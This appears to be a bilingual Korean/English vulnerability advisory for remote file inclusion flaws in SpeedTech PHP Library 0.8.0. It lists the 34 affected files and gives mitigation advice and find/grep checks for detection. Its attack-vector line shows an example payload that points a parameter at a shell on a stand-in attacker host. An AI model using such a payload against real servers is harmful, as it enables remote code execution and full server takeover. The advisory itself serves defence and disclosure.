🇰🇷 한글 설명
SpeedTech PHP Library 0.8.0에서 발견된 원격 파일 포함(RFI) 취약점으로, db_conf, ADODB_DIR, STPHPLIB_DIR 등의 매개변수를 통해 악의적인 PHP 코드를 원격으로 실행할 수 있다. 34개의 PHP 파일이 영향받으며 공격자가 웹서버를 완전히 장악할 수 있다.
💡 쉬운 설명
웹서버가 외부 PHP 파일을 불러올 때 누가 보내는 파일인지 확인하지 않아서 공격자가 악의적인 코드를 실행시킬 수 있는 결함입니다. 이를 통해 공격자는 서버의 모든 데이터와 기능을 제어할 수 있습니다.
🇺🇸 원문 (English)
Multiple PHP remote file inclusion vulnerabilities in SpeedTech PHP Library (STPHPLibrary) 0.8.0 allow remote attackers to execute arbitrary PHP code via a URL in the (1) db_conf or (2) ADODB_DIR parameter to utils/stphpimage_show.php; or a URL in the STPHPLIB_DIR parameter to (3) stphpbutton.php, (4) stphpcheckbox.php, (5) stphpcheckboxwithcaption.php, (6) stphpcheckgroup.php, (7) stphpcomponent.php, (8) stphpcontrolwithcaption.php, (9) stphpedit.php, (10) stphpeditwithcaption.php, (11) stphphr.php, (12) stphpimage.php, (13) stphpimagewithcaption.php, (14) stphplabel.php, (15) stphplistbox.php, (16) stphplistboxwithcaption.php, (17) stphplocale.php, (18) stphppanel.php, (19) stphpradiobutton.php, (20) stphpradiobuttonwithcaption.php, (21) stphpradiogroup.php, (22) stphprichbutton.php, (23) stphpspacer.php, (24) stphptable.php, (25) stphptablecell.php, (26) stphptablerow.php, (27) stphptabpanel.php, (28) stphptabtitle.php, (29) stphptextarea.php, (30) stphptextareawithcaption.php, (31) stphptoolbar.php, (32) stphpwindow.php, (33) stphpxmldoc.php, or (34) stphpxmlelement.php, a different set of vectors than CVE-2007-4737. NOTE: the provenance of this information is unknown; the details are obtained solely from third party information.
📍 영향받는 시스템
SpeedTech PHP Library (STPHPLibrary) 버전 0.8.0
⚔️ 공격 벡터
HTTP 요청의 매개변수에 원격 파일 URL을 삽입하여 RFI 공격 수행 (예: ?STPHPLIB_DIR=http://attacker.com/shell.php)
🛡️ 대응 방법
STPHPLibrary를 0.8.1 이상으로 업그레이드하고, 파일 포함 기능의 입력값 검증 및 allow_url_include를 disabled로 설정
🔧 검증 코드
스크립트가 반환되는 경로가 있으면 해당 라이브러리가 설치되어 있으며, grep -i 'include.*\$' 해당파일.php로 동적 파일 포함 코드 패턴 확인 필요
find /var/www /home -name '*stphp*.php' 2>/dev/null | head -1